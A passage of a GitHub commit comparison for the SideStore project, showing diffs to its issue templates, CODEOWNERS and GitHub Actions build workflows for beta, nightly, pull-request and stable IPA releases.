Compare commits
53 Commits
0.5.10
...
naturecode
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8cb5b3d47d | ||
|
|
3d9c5ad890 | ||
|
|
6f14b6b046 | ||
|
|
c3f5d9f218 | ||
|
|
91d3a528a0 | ||
|
|
0fc8f3d72e | ||
|
|
a959dd73bb | ||
|
|
3c0995b5fa | ||
|
|
34bbe93b3d | ||
|
|
ff24ea81c9 | ||
|
|
18d251c364 | ||
|
|
2ff637f62e | ||
|
|
373a73c158 | ||
|
|
95e98a17bb | ||
|
|
8bd8ec8723 | ||
|
|
e7f766095a | ||
|
|
7e9aafe86e | ||
|
|
51f900a5bb | ||
|
|
02e63f2303 | ||
|
|
b45108e519 | ||
|
|
28ecca5ed0 | ||
|
|
742feed356 | ||
|
|
b8c12a1041 | ||
|
|
a6349198cf | ||
|
|
465c87d442 | ||
|
|
40c6d60138 | ||
|
|
7bb1c1cf05 | ||
|
|
175b5bec95 | ||
|
|
f69ad9830a | ||
|
|
3ee53e8c2b | ||
|
|
93ae81159e | ||
|
|
6a942a3971 | ||
|
|
5853aaa778 | ||
|
|
54703ddca3 | ||
|
|
ce90ae4195 | ||
|
|
026392dbc7 | ||
|
|
d2c15b5acd | ||
|
|
2219035cd0 | ||
|
|
a8917f095e | ||
|
|
3cab2e5d15 | ||
|
|
e2c5267d3f | ||
|
|
5709229fdf | ||
|
|
e1607d2f61 | ||
|
|
637a0354c5 | ||
|
|
9c3461b0c6 | ||
|
|
e3103b3034 | ||
|
|
2db073d2c5 | ||
|
|
e06cca8224 | ||
|
|
3a7cd29b22 | ||
|
|
093e21799f | ||
|
|
ad98ce43a9 | ||
|
|
7f39d010b2 | ||
|
|
b6c9797104 |
2
.github/CODEOWNERS
vendored
@@ -1 +1 @@
|
|||||||
* @JoeMatt @lonkelle @nythepegasus @Spidy123222 @SternXD
|
* @JoeMatt @lonkelle
|
||||||
|
|||||||
6
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
@@ -2,15 +2,15 @@ name: Bug Report
|
|||||||
description: Report a bug
|
description: Report a bug
|
||||||
title: "[BUG] "
|
title: "[BUG] "
|
||||||
labels: ["bug"]
|
labels: ["bug"]
|
||||||
assignees: []
|
assignees:
|
||||||
|
- naturecodevoid
|
||||||
body:
|
body:
|
||||||
- type: markdown
|
- type: markdown
|
||||||
attributes:
|
attributes:
|
||||||
value: |
|
value: |
|
||||||
## Please note that the issue tracker is not for support
|
|
||||||
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
|
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
|
||||||
|
|
||||||
**Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
||||||
- type: textarea
|
- type: textarea
|
||||||
id: description
|
id: description
|
||||||
attributes:
|
attributes:
|
||||||
|
|||||||
2
.github/ISSUE_TEMPLATE/config.yml
vendored
@@ -3,7 +3,7 @@ blank_issues_enabled: false
|
|||||||
|
|
||||||
contact_links:
|
contact_links:
|
||||||
- name: Discord
|
- name: Discord
|
||||||
url: https://discord.gg/sidestore-949183273383395328
|
url: https://discord.gg/RgpFBX3Q3k
|
||||||
about: If you need support, please go here first instead of making an issue!
|
about: If you need support, please go here first instead of making an issue!
|
||||||
- name: GitHub Discussions
|
- name: GitHub Discussions
|
||||||
url: https://github.com/SideStore/SideStore/discussions
|
url: https://github.com/SideStore/SideStore/discussions
|
||||||
|
|||||||
5
.github/ISSUE_TEMPLATE/feature_request.yml
vendored
@@ -2,14 +2,15 @@ name: Feature Request
|
|||||||
description: Suggest a feature
|
description: Suggest a feature
|
||||||
title: "[FEATURE REQUEST] "
|
title: "[FEATURE REQUEST] "
|
||||||
labels: ["enhancement"]
|
labels: ["enhancement"]
|
||||||
assignees: []
|
assignees:
|
||||||
|
- naturecodevoid
|
||||||
body:
|
body:
|
||||||
- type: markdown
|
- type: markdown
|
||||||
attributes:
|
attributes:
|
||||||
value: |
|
value: |
|
||||||
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
|
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
|
||||||
|
|
||||||
**Please use [Discord](https://discord.gg/sidestore-949183273383395328) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
||||||
- type: textarea
|
- type: textarea
|
||||||
id: description
|
id: description
|
||||||
attributes:
|
attributes:
|
||||||
|
|||||||
3
.github/pull_request_template.md
vendored
@@ -10,3 +10,6 @@
|
|||||||
<!-- Example: -->
|
<!-- Example: -->
|
||||||
- [x] Finish UI changes
|
- [x] Finish UI changes
|
||||||
- [ ] Test
|
- [ ] Test
|
||||||
|
|
||||||
|
<!-- If your PR doesn't close an issue, you can remove the next line. -->
|
||||||
|
Closes #1234
|
||||||
|
|||||||
55
.github/workflows/attach_build_products.yml
vendored
@@ -20,58 +20,3 @@ jobs:
|
|||||||
format: name
|
format: name
|
||||||
addTo: pull
|
addTo: pull
|
||||||
# addTo: pullandissues
|
# addTo: pullandissues
|
||||||
nightly-link-comment:
|
|
||||||
if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success'
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/github-script@v6
|
|
||||||
with:
|
|
||||||
# This snippet is public-domain, taken from
|
|
||||||
# https://github.com/oprypin/nightly.link/blob/master/.github/workflows/pr-comment.yml
|
|
||||||
script: |
|
|
||||||
async function upsertComment(owner, repo, issue_number, purpose, body) {
|
|
||||||
const {data: comments} = await github.rest.issues.listComments(
|
|
||||||
{owner, repo, issue_number});
|
|
||||||
|
|
||||||
const marker = `<!-- bot: ${purpose} -->`;
|
|
||||||
body = marker + "\n" + body;
|
|
||||||
|
|
||||||
const existing = comments.filter((c) => c.body.includes(marker));
|
|
||||||
if (existing.length > 0) {
|
|
||||||
const last = existing[existing.length - 1];
|
|
||||||
core.info(`Updating comment ${last.id}`);
|
|
||||||
await github.rest.issues.updateComment({
|
|
||||||
owner, repo,
|
|
||||||
body,
|
|
||||||
comment_id: last.id,
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
core.info(`Creating a comment in issue / PR #${issue_number}`);
|
|
||||||
await github.rest.issues.createComment({issue_number, body, owner, repo});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const {owner, repo} = context.repo;
|
|
||||||
const run_id = ${{github.event.workflow_run.id}};
|
|
||||||
|
|
||||||
const pull_requests = ${{ toJSON(github.event.workflow_run.pull_requests) }};
|
|
||||||
if (!pull_requests.length) {
|
|
||||||
return core.error("This workflow doesn't match any pull requests!");
|
|
||||||
}
|
|
||||||
|
|
||||||
const artifacts = await github.paginate(
|
|
||||||
github.rest.actions.listWorkflowRunArtifacts, {owner, repo, run_id});
|
|
||||||
if (!artifacts.length) {
|
|
||||||
return core.error(`No artifacts found`);
|
|
||||||
}
|
|
||||||
let body = `Download the artifacts for this pull request (nightly.link):\n`;
|
|
||||||
for (const art of artifacts) {
|
|
||||||
body += `\n* [${art.name}.zip](https://nightly.link/${owner}/${repo}/actions/artifacts/${art.id}.zip)`;
|
|
||||||
}
|
|
||||||
|
|
||||||
core.info("Review thread message body:", body);
|
|
||||||
|
|
||||||
for (const pr of pull_requests) {
|
|
||||||
await upsertComment(owner, repo, pr.number,
|
|
||||||
"nightly-link", body);
|
|
||||||
}
|
|
||||||
|
|||||||
64
.github/workflows/beta.yml
vendored
@@ -11,13 +11,13 @@ jobs:
|
|||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
include:
|
include:
|
||||||
- os: 'macos-14'
|
- os: 'macos-12'
|
||||||
version: '15.4'
|
version: '14.2'
|
||||||
|
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v2
|
||||||
with:
|
with:
|
||||||
submodules: recursive
|
submodules: recursive
|
||||||
|
|
||||||
@@ -27,6 +27,9 @@ jobs:
|
|||||||
- name: Change version to tag
|
- name: Change version to tag
|
||||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||||
|
|
||||||
|
- name: Change default icon to beta icon
|
||||||
|
run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||||
|
|
||||||
- name: Get version
|
- name: Get version
|
||||||
id: version
|
id: version
|
||||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
@@ -35,25 +38,25 @@ jobs:
|
|||||||
run: echo "${{ steps.version.outputs.version }}"
|
run: echo "${{ steps.version.outputs.version }}"
|
||||||
|
|
||||||
- name: Setup Xcode
|
- name: Setup Xcode
|
||||||
uses: maxim-lobanov/setup-xcode@v1
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
with:
|
with:
|
||||||
xcode-version: ${{ matrix.version }}
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
|
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||||
|
run: |
|
||||||
|
make build | xcpretty
|
||||||
|
make fakesign
|
||||||
|
make ipa
|
||||||
|
|
||||||
- name: Cache Build
|
- name: Enable MDC
|
||||||
uses: irgaly/xcode-cache@v1
|
run: make enable_mdc
|
||||||
with:
|
|
||||||
key: xcode-cache-deriveddata-${{ github.sha }}
|
|
||||||
restore-keys: xcode-cache-deriveddata
|
|
||||||
|
|
||||||
- name: Build SideStore
|
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
run: |
|
||||||
|
make clean
|
||||||
- name: Fakesign app
|
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||||
run: make fakesign
|
make fakesign
|
||||||
|
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||||
- name: Convert to IPA
|
|
||||||
run: make ipa
|
|
||||||
|
|
||||||
- name: Get current date
|
- name: Get current date
|
||||||
id: date
|
id: date
|
||||||
@@ -71,7 +74,9 @@ jobs:
|
|||||||
tag_name: ${{ github.ref_name }}
|
tag_name: ${{ github.ref_name }}
|
||||||
draft: true
|
draft: true
|
||||||
prerelease: true
|
prerelease: true
|
||||||
files: SideStore.ipa
|
files: |
|
||||||
|
SideStore.ipa
|
||||||
|
SideStore-MDC.ipa
|
||||||
body: |
|
body: |
|
||||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||||
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
|
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
|
||||||
@@ -90,14 +95,29 @@ jobs:
|
|||||||
- name: Add version to IPA file name
|
- name: Add version to IPA file name
|
||||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Add version to MDC IPA file name
|
||||||
|
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload SideStore.ipa Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload *.dSYM Artifact
|
- name: Upload SideStore-MDC.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Upload dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||||
path: ./*.dSYM/
|
path: ./dSYM/*
|
||||||
|
|
||||||
|
- name: Upload MDC-dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||||
|
path: ./MDC-dSYM/*
|
||||||
|
|||||||
77
.github/workflows/nightly.yml
vendored
@@ -14,24 +14,21 @@ jobs:
|
|||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
include:
|
include:
|
||||||
- os: 'macos-14'
|
- os: 'macos-12'
|
||||||
version: '15.4'
|
version: '14.2'
|
||||||
|
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v2
|
||||||
with:
|
with:
|
||||||
submodules: recursive
|
submodules: recursive
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
run: brew install ldid
|
run: brew install ldid
|
||||||
|
|
||||||
- name: Install xcbeautify
|
|
||||||
run: brew install xcbeautify
|
|
||||||
|
|
||||||
- name: Cache .nightly-build-num
|
- name: Cache .nightly-build-num
|
||||||
uses: actions/cache@v4
|
uses: actions/cache@v3
|
||||||
with:
|
with:
|
||||||
path: .nightly-build-num
|
path: .nightly-build-num
|
||||||
key: nightly-build-num
|
key: nightly-build-num
|
||||||
@@ -39,6 +36,12 @@ jobs:
|
|||||||
- name: Increase nightly build number and set as version
|
- name: Increase nightly build number and set as version
|
||||||
run: bash .github/workflows/increase-nightly-build-num.sh
|
run: bash .github/workflows/increase-nightly-build-num.sh
|
||||||
|
|
||||||
|
- name: Change default icon to nightly icon
|
||||||
|
run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||||
|
|
||||||
|
- name: Enable unstable features
|
||||||
|
run: make enable_unstable
|
||||||
|
|
||||||
- name: Get version
|
- name: Get version
|
||||||
id: version
|
id: version
|
||||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
@@ -47,27 +50,25 @@ jobs:
|
|||||||
run: echo "${{ steps.version.outputs.version }}"
|
run: echo "${{ steps.version.outputs.version }}"
|
||||||
|
|
||||||
- name: Setup Xcode
|
- name: Setup Xcode
|
||||||
uses: maxim-lobanov/setup-xcode@v1.6.0
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
with:
|
with:
|
||||||
xcode-version: ${{ matrix.version }}
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
- name: Cache Build
|
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||||
uses: irgaly/xcode-cache@v1
|
run: |
|
||||||
with:
|
make build | xcpretty
|
||||||
key: xcode-cache-deriveddata-${{ github.sha }}
|
make fakesign
|
||||||
restore-keys: xcode-cache-deriveddata-
|
make ipa
|
||||||
swiftpm-cache-key: xcode-cache-sourcedata-${{ github.sha }}
|
|
||||||
swiftpm-cache-restore-keys: |
|
|
||||||
xcode-cache-sourcedata-
|
|
||||||
|
|
||||||
- name: Build SideStore
|
- name: Enable MDC
|
||||||
run: NSUnbufferedIO=YES make build 2>&1 | xcbeautify --renderer github-actions && exit ${PIPESTATUS[0]}
|
run: make enable_mdc
|
||||||
|
|
||||||
- name: Fakesign app
|
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||||
run: make fakesign
|
run: |
|
||||||
|
make clean
|
||||||
- name: Convert to IPA
|
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||||
run: make ipa
|
make fakesign
|
||||||
|
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||||
|
|
||||||
- name: Get current date
|
- name: Get current date
|
||||||
id: date
|
id: date
|
||||||
@@ -84,7 +85,9 @@ jobs:
|
|||||||
release: "Nightly"
|
release: "Nightly"
|
||||||
tag: "nightly"
|
tag: "nightly"
|
||||||
prerelease: true
|
prerelease: true
|
||||||
files: SideStore.ipa
|
files: |
|
||||||
|
SideStore.ipa
|
||||||
|
SideStore-MDC.ipa
|
||||||
body: |
|
body: |
|
||||||
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||||
|
|
||||||
@@ -102,14 +105,32 @@ jobs:
|
|||||||
- name: Add version to IPA file name
|
- name: Add version to IPA file name
|
||||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Add version to MDC IPA file name
|
||||||
|
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload SideStore.ipa Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload *.dSYM Artifact
|
- name: Upload SideStore-MDC.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Upload dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||||
path: ./*.dSYM/
|
path: ./dSYM/*
|
||||||
|
|
||||||
|
- name: Upload MDC-dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||||
|
path: ./MDC-dSYM/*
|
||||||
|
|
||||||
|
- name: Reset cache for apps.sidestore.io/nightly
|
||||||
|
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
|
||||||
|
|||||||
62
.github/workflows/pr.yml
vendored
@@ -9,13 +9,13 @@ jobs:
|
|||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
include:
|
include:
|
||||||
- os: 'macos-14'
|
- os: 'macos-12'
|
||||||
version: '15.4'
|
version: '14.2'
|
||||||
|
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v2
|
||||||
with:
|
with:
|
||||||
submodules: recursive
|
submodules: recursive
|
||||||
|
|
||||||
@@ -27,6 +27,12 @@ jobs:
|
|||||||
env:
|
env:
|
||||||
COMMIT: ${{ github.event.pull_request.head.sha }}
|
COMMIT: ${{ github.event.pull_request.head.sha }}
|
||||||
|
|
||||||
|
- name: Change default icon to alpha icon
|
||||||
|
run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
|
||||||
|
|
||||||
|
- name: Enable unstable features
|
||||||
|
run: make enable_unstable
|
||||||
|
|
||||||
- name: Get version
|
- name: Get version
|
||||||
id: version
|
id: version
|
||||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
@@ -35,36 +41,52 @@ jobs:
|
|||||||
run: echo "${{ steps.version.outputs.version }}"
|
run: echo "${{ steps.version.outputs.version }}"
|
||||||
|
|
||||||
- name: Setup Xcode
|
- name: Setup Xcode
|
||||||
uses: maxim-lobanov/setup-xcode@v1.6.0
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
with:
|
with:
|
||||||
xcode-version: ${{ matrix.version }}
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
- name: Cache Build
|
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||||
uses: irgaly/xcode-cache@v1
|
run: |
|
||||||
with:
|
make build | xcpretty
|
||||||
key: xcode-cache-deriveddata-${{ github.sha }}
|
make fakesign
|
||||||
restore-keys: xcode-cache-deriveddata-
|
make ipa
|
||||||
|
|
||||||
- name: Build SideStore
|
- name: Enable MDC
|
||||||
run: NSUnbufferedIO=YES make build | xcbeautify --renderer github-actions && exit ${PIPESTATUS[0]}
|
run: make enable_mdc
|
||||||
|
|
||||||
- name: Fakesign app
|
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||||
run: make fakesign
|
run: |
|
||||||
|
make clean
|
||||||
- name: Convert to IPA
|
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||||
run: make ipa
|
make fakesign
|
||||||
|
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||||
|
|
||||||
- name: Add version to IPA file name
|
- name: Add version to IPA file name
|
||||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Add version to MDC IPA file name
|
||||||
|
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload SideStore.ipa Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload *.dSYM Artifact
|
- name: Upload SideStore-MDC.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Upload dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||||
path: ./*.dSYM/
|
path: ./dSYM/*
|
||||||
|
|
||||||
|
- name: Upload MDC-dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||||
|
path: ./MDC-dSYM/*
|
||||||
|
|||||||
64
.github/workflows/stable.yml
vendored
@@ -3,7 +3,6 @@ on:
|
|||||||
push:
|
push:
|
||||||
tags:
|
tags:
|
||||||
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build:
|
build:
|
||||||
@@ -12,13 +11,13 @@ jobs:
|
|||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
include:
|
include:
|
||||||
- os: 'macos-14'
|
- os: 'macos-12'
|
||||||
version: '15.4'
|
version: '14.2'
|
||||||
|
|
||||||
runs-on: ${{ matrix.os }}
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v2
|
||||||
with:
|
with:
|
||||||
submodules: recursive
|
submodules: recursive
|
||||||
|
|
||||||
@@ -36,27 +35,25 @@ jobs:
|
|||||||
run: echo "${{ steps.version.outputs.version }}"
|
run: echo "${{ steps.version.outputs.version }}"
|
||||||
|
|
||||||
- name: Setup Xcode
|
- name: Setup Xcode
|
||||||
uses: maxim-lobanov/setup-xcode@v1.6.0
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
with:
|
with:
|
||||||
xcode-version: ${{ matrix.version }}
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
- name: Cache Build
|
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||||
uses: irgaly/xcode-cache@v1
|
run: |
|
||||||
with:
|
make build | xcpretty
|
||||||
key: xcode-cache-deriveddata-${{ github.sha }}
|
make fakesign
|
||||||
restore-keys: xcode-cache-deriveddata-
|
make ipa
|
||||||
swiftpm-cache-key: xcode-cache-sourcedata-${{ github.sha }}
|
|
||||||
swiftpm-cache-restore-keys: |
|
|
||||||
xcode-cache-sourcedata-
|
|
||||||
|
|
||||||
- name: Build SideStore
|
- name: Enable MDC
|
||||||
run: NSUnbufferedIO=YES make build | xcbeautify --renderer github-actions && exit ${PIPESTATUS[0]}
|
run: make enable_mdc
|
||||||
|
|
||||||
- name: Fakesign app
|
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||||
run: make fakesign
|
run: |
|
||||||
|
make clean
|
||||||
- name: Convert to IPA
|
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||||
run: make ipa
|
make fakesign
|
||||||
|
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||||
|
|
||||||
- name: Get current date
|
- name: Get current date
|
||||||
id: date
|
id: date
|
||||||
@@ -73,7 +70,9 @@ jobs:
|
|||||||
name: ${{ steps.version.outputs.version }}
|
name: ${{ steps.version.outputs.version }}
|
||||||
tag_name: ${{ github.ref_name }}
|
tag_name: ${{ github.ref_name }}
|
||||||
draft: true
|
draft: true
|
||||||
files: SideStore.ipa
|
files: |
|
||||||
|
SideStore.ipa
|
||||||
|
SideStore-MDC.ipa
|
||||||
body: |
|
body: |
|
||||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||||
## Changelog
|
## Changelog
|
||||||
@@ -90,14 +89,29 @@ jobs:
|
|||||||
- name: Add version to IPA file name
|
- name: Add version to IPA file name
|
||||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
|
- name: Add version to MDC IPA file name
|
||||||
|
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||||
|
|
||||||
- name: Upload SideStore.ipa Artifact
|
- name: Upload SideStore.ipa Artifact
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v3.1.0
|
||||||
with:
|
with:
|
||||||
